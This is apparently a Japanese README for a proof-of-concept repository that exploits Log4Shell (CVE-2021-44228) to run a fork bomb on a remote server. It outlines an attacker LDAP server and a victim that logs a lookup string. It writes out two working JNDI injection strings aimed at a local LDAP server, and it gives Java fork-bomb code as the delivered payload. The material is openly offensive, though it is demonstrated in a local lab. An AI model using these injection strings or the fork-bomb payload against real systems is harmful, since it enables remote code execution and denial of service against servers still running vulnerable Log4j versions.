log4j-exploit-with-fork-bomb

💣💥💀 Proof of Concept: CVE-2021-44228 の脆弱性を利用してリモートサーバー上でフォーク爆弾を実行する例

1. 攻撃者の LDAP サーバー (server モジュール) を作成します。このサーバーは文字列とコードの表現 (payload モジュール) を提供します。
2. 被害者のサンプル (victim モジュール) を作成し、Log4j に文字列を渡します。 JRE バージョン <= 6u211, 7u201, 8u191 および 11.0.1

${jndi:ldap://127.0.0.1:1389/anything}
${jndi:ldap://127.0.0.1:1389/jar}

3. 被害者アプリケーションは攻撃者のサーバーからバイト配列を受け取り、それを埋め込む文字列または実行可能なコードとして解釈します (パラメータ com.sun.jndi.ldap.object.trustURLCodebase = true)
4. 例として、実行可能なコードはフォーク爆弾 (自身のコピーを起動してすべての CPU 時間を占有するプログラム) になります。

public class ForkBomb {

  public static void main(String... args) {
  
    Runtime.getRuntime().exec(new String[] {
        "javaw", 
        "-cp", 
        System.getProperty("java.class.path"), 
        "ForkBomb"
    });
  }
}